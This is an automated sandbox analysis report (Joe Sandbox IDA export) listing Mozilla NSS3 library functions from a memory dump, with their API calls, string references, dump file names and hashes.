PR_SetError.NSS3(00000000,00000000), ref: 6CCA0FC7

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_Unlock.NSS3(?), ref: 6CCA0FDE
TlsGetValue.KERNEL32 ref: 6CCA0FFA
EnterCriticalSection.KERNEL32(?), ref: 6CCA100E
PR_Unlock.NSS3(?), ref: 6CCA1050
PR_Unlock.NSS3(?), ref: 6CCA1073
TlsGetValue.KERNEL32 ref: 6CCA1087
EnterCriticalSection.KERNEL32(?), ref: 6CCA109B
PR_Unlock.NSS3(?), ref: 6CCA10B8
free.MOZGLUE(?), ref: 6CCA1113
PORT_Alloc_Util.NSS3(?), ref: 6CCA1151
free.MOZGLUE(?), ref: 6CCA11AB
TlsGetValue.KERNEL32 ref: 6CCA1296
EnterCriticalSection.KERNEL32(?), ref: 6CCA12AB
PR_Unlock.NSS3(?), ref: 6CCA12D9
TlsGetValue.KERNEL32 ref: 6CCA12F4
EnterCriticalSection.KERNEL32(?), ref: 6CCA130C
PR_Unlock.NSS3(?), ref: 6CCA1340
TlsGetValue.KERNEL32 ref: 6CCA1354
EnterCriticalSection.KERNEL32(?), ref: 6CCA136C
PR_Unlock.NSS3(?), ref: 6CCA13A3
TlsGetValue.KERNEL32 ref: 6CCA13BA
EnterCriticalSection.KERNEL32(?), ref: 6CCA13CF
PR_Unlock.NSS3(?), ref: 6CCA13FB

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CCA141E

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 5564c51480b0d6d4f53478159ea806ac40fabc0a7b3cf9bf27fe1313951ee3c9
Instruction ID: 8f430d5643a05bc83f08fa267d76aade894682f8aa2d2e5ac7d69f1ca0f8b20c
Opcode Fuzzy Hash: 5564c51480b0d6d4f53478159ea806ac40fabc0a7b3cf9bf27fe1313951ee3c9
Instruction Fuzzy Hash: D272D1B2D00245EFEB109FA9D8887A937B4BF05358F0801B9DD099B752F735E986CB91

Function 6CCB4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CC9601B,?,00000000,?), ref: 6CCB486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CCB48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CCB48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CCB48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CCB48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CCB490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CCB4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CCB493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB4970
PORT_Alloc_Util.NSS3(00000001), ref: 6CCB49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCB49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CCB49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CCB4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CCB4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CCB4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CCB4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CCB4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CCB4A81
free.MOZGLUE(00000000), ref: 6CCB4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CCB4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CCB4ADC
free.MOZGLUE(00000000), ref: 6CCB4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CCB4B33

Part of subcall function 6CCB4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCB413D
Part of subcall function 6CCB4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCB4162
Part of subcall function 6CCB4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCB416B
Part of subcall function 6CCB4120: PL_strncasecmp.NSS3(6CCB4232,?,00000001), ref: 6CCB4187
Part of subcall function 6CCB4120: NSSUTIL_ArgSkipParameter.NSS3(6CCB4232), ref: 6CCB41A0
Part of subcall function 6CCB4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCB41B4
Part of subcall function 6CCB4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CCB41CC
Part of subcall function 6CCB4120: NSSUTIL_ArgFetchValue.NSS3(6CCB4232,?), ref: 6CCB4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CCB4B53
free.MOZGLUE(00000000), ref: 6CCB4B94
free.MOZGLUE(?), ref: 6CCB4BA7
free.MOZGLUE(00000000), ref: 6CCB4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCB4BC8

Strings

hasRootTrust, xrefs: 6CCB4B4D
timeout, xrefs: 6CCB4A38, 6CCB4A7B
askpw, xrefs: 6CCB4A4A
every, xrefs: 6CCB4A66
hasRootCerts, xrefs: 6CCB4AD6
slotFlags, xrefs: 6CCB4A22
rootFlags, xrefs: 6CCB4AB9, 6CCB4B2E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 6efb8ce8d9d184b09750ac79e248aa958b5758f08073521ee4bc22451ef69dd1
Instruction ID: 2c53e57f5ea84f184d8e472c4b1259aa2fb32ab793339d21ab9567145f6d11ee
Opcode Fuzzy Hash: 6efb8ce8d9d184b09750ac79e248aa958b5758f08073521ee4bc22451ef69dd1
Instruction Fuzzy Hash: 46C1F4B0E496559BEB00CFE9DC40BAE7BB8AF46248F180029E995F7B01F731D914C7A1

Function 6CC76D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CD7A8EC,0000006C), ref: 6CC76DC6
memcpy.VCRUNTIME140(?,6CD7A958,0000006C), ref: 6CC76DDB
memcpy.VCRUNTIME140(?,6CD7A9C4,00000078), ref: 6CC76DF1
memcpy.VCRUNTIME140(?,6CD7AA3C,0000006C), ref: 6CC76E06
memcpy.VCRUNTIME140(?,6CD7AAA8,00000060), ref: 6CC76E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC76E38

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CC76E76
TlsGetValue.KERNEL32 ref: 6CC7726F
EnterCriticalSection.KERNEL32(?), ref: 6CC77283

Strings

!, xrefs: 6CC77123

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cc82c95c3092ca739d7b240090152b962d3633c9ec12f794388b34bc6c86ec3c
Instruction ID: 383701b74adfd3a4ef61fce3e11a12a89c4de84dbf9a76700db8178d5dd82982
Opcode Fuzzy Hash: cc82c95c3092ca739d7b240090152b962d3633c9ec12f794388b34bc6c86ec3c
Instruction Fuzzy Hash: 7E729CB5D052199FDB61DF29CC8879ABBB5FF49304F1041A9E80DA7701EB319A85CFA0

Function 6CC98A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC98A58

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC98AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6CC98ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6CC98B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC98B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6CC98B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6CC98B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6CC98B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6CC98BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC98BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CC98BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC98C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC98C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC98CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC98CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC98D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC98D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC98D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC98D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC98DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6CC98DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6CD7D864), ref: 6CC98E39

Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CCAF0C8
Part of subcall function 6CCAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCAF122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6CC98E5B

Part of subcall function 6CCABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC5E708,00000000,00000000,00000004,00000000), ref: 6CCABE6A
Part of subcall function 6CCABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC604DC,?), ref: 6CCABE7E
Part of subcall function 6CCABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CCABEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CD7D8C4), ref: 6CC98E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6CC98EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6CC98EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6CC98ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CC98EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC98EF4
free.MOZGLUE(00000000), ref: 6CC98EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC98F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC98F1C

Strings

tFVPj, xrefs: 6CC98EC4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: b6733f0e4752401ed4b89222d485d7b30e25767060a8bb92cc2748237d94eb3e
Instruction ID: a986c8acf82a4112449e4a264aa8ae128928c047ab63544c87e7b72fa4d87960
Opcode Fuzzy Hash: b6733f0e4752401ed4b89222d485d7b30e25767060a8bb92cc2748237d94eb3e
Instruction Fuzzy Hash: CAD113B2A053029BEB008F65DC80FAB77E8EF55308F14492AEC54D7A91F734D959C7A2

Function 6CCBAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CCBACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CCBACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CCBACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CCBAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CCBADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCBADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCBADF0

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCBB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCBB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCBB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CCBB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CCBB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCBB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCBB40C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 9babef7478add2267a4f5735d51d5ad9f9f5d5476e37d2e93d11379e3b665342
Instruction ID: b24e29e638ae063fb3a193b40e0f9d95c066a7c478c86abfa30937e8cd94dd84
Opcode Fuzzy Hash: 9babef7478add2267a4f5735d51d5ad9f9f5d5476e37d2e93d11379e3b665342
Instruction Fuzzy Hash: 0822C1B1904301AFE710CF94DC94BAA77E1BF84308F14856CE8596B791F772E85ACB92

Function 6CC3ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CC3ED38

Part of subcall function 6CBD4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CC3EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CC3EFE4

Part of subcall function 6CCFDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CBD5001,?,00000003,00000000), ref: 6CCFDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CC3F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CC3F129
sqlite3_mprintf.NSS3(optimize), ref: 6CC3F1D1
sqlite3_free.NSS3(?), ref: 6CC3F368

Strings

snippet, xrefs: 6CC3EF05, 6CC3EF37, 6CC3EF7C
fts4, xrefs: 6CC3F2AD
fts4aux, xrefs: 6CC3ECF9
porter, xrefs: 6CC3ED97
fts3, xrefs: 6CC3F247
fts3_tokenizer, xrefs: 6CC3EE1A, 6CC3EEA8
simple, xrefs: 6CC3ED79
unicode61, xrefs: 6CC3EDB5
matchinfo, xrefs: 6CC3F04F, 6CC3F082, 6CC3F0C2, 6CC3F0F2, 6CC3F124, 6CC3F169
offsets, xrefs: 6CC3EFAF, 6CC3EFDF, 6CC3F01F
optimize, xrefs: 6CC3F199, 6CC3F1CC, 6CC3F211
fts3tokenize, xrefs: 6CC3F30F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 0610d0d1e42c502e308613237419c5c24c002c9f784936c329fa0e191f212348
Instruction ID: 8e4ff53e1db232d70b363001bcf9010fc062d40931ae7c06d03c63ce28bb8ecc
Opcode Fuzzy Hash: 0610d0d1e42c502e308613237419c5c24c002c9f784936c329fa0e191f212348
Instruction Fuzzy Hash: 8E0200B1B047209FE7049F71B89172F36B5ABC5608F14993CD95E8BB10FB74E84A8792

Function 6CC7A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6CC528AD,pkcs11:,00000007), ref: 6CC7A501
PORT_Strdup_Util.NSS3(6CC528AD), ref: 6CC7A514

Part of subcall function 6CCB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC52AF5,?,?,?,?,?,6CC50A1B,00000000), ref: 6CCB0F1A
Part of subcall function 6CCB0F10: malloc.MOZGLUE(00000001), ref: 6CCB0F30
Part of subcall function 6CCB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCB0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6CC7A529
PK11_GetInternalKeySlot.NSS3 ref: 6CC7A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CC7A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6CC7A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC7A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6CC7A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC7A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC7A9C3

Part of subcall function 6CCA0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6CC7A8F5,00000000,?,00000010), ref: 6CCA097E
Part of subcall function 6CCA0960: memcmp.VCRUNTIME140(?,00000000,6CC7A8F5,00000010), ref: 6CCA098D

free.MOZGLUE(00000000), ref: 6CC7AB18
strchr.VCRUNTIME140(?,00000040), ref: 6CC7AB40
free.MOZGLUE(?), ref: 6CC7ABE1

Part of subcall function 6CC74170: TlsGetValue.KERNEL32(?,6CC528AD,00000000,?,6CC7A793,?,00000000), ref: 6CC7419F
Part of subcall function 6CC74170: EnterCriticalSection.KERNEL32(0000001C), ref: 6CC741AF
Part of subcall function 6CC74170: PR_Unlock.NSS3(?), ref: 6CC741D4

Strings

object, xrefs: 6CC7A5CF
token, xrefs: 6CC7A875
pkcs11:, xrefs: 6CC7A4FB
model, xrefs: 6CC7A8CF
manufacturer, xrefs: 6CC7A8A2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: cb6b68a50a07e6dfff8a1ebdcefa5e40dcbfb5240a4f5c78a2ba67dff41226a4
Instruction ID: 84c154d4f5dcfab6e843a382d0c10ef6712400b4a028ff0c33e5061a34d9e0bc
Opcode Fuzzy Hash: cb6b68a50a07e6dfff8a1ebdcefa5e40dcbfb5240a4f5c78a2ba67dff41226a4
Instruction Fuzzy Hash: A00293B5D002149FFF219B35AD41B9A7679EF41358F1400A4E80CA6B52FB31DE99CFA2

Function 6CC8EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC98C9F,00000000,00000000,?), ref: 6CC8EA29

Part of subcall function 6CCB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB08B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC98C9F), ref: 6CC8EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CD7C6C4), ref: 6CC8EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CC8EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC8EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC8EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC98C9F), ref: 6CC8EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC8EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CC8EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CD7C754), ref: 6CC8EC6D
free.MOZGLUE(?), ref: 6CC8EC7F
free.MOZGLUE(00000000), ref: 6CC8EC90
free.MOZGLUE(?), ref: 6CC8ECA1
free.MOZGLUE(00000000), ref: 6CC8ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC8ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6CC991D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CC991E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC991F2
free.MOZGLUE(00000000), ref: 6CC991FB

Memory Dump Source

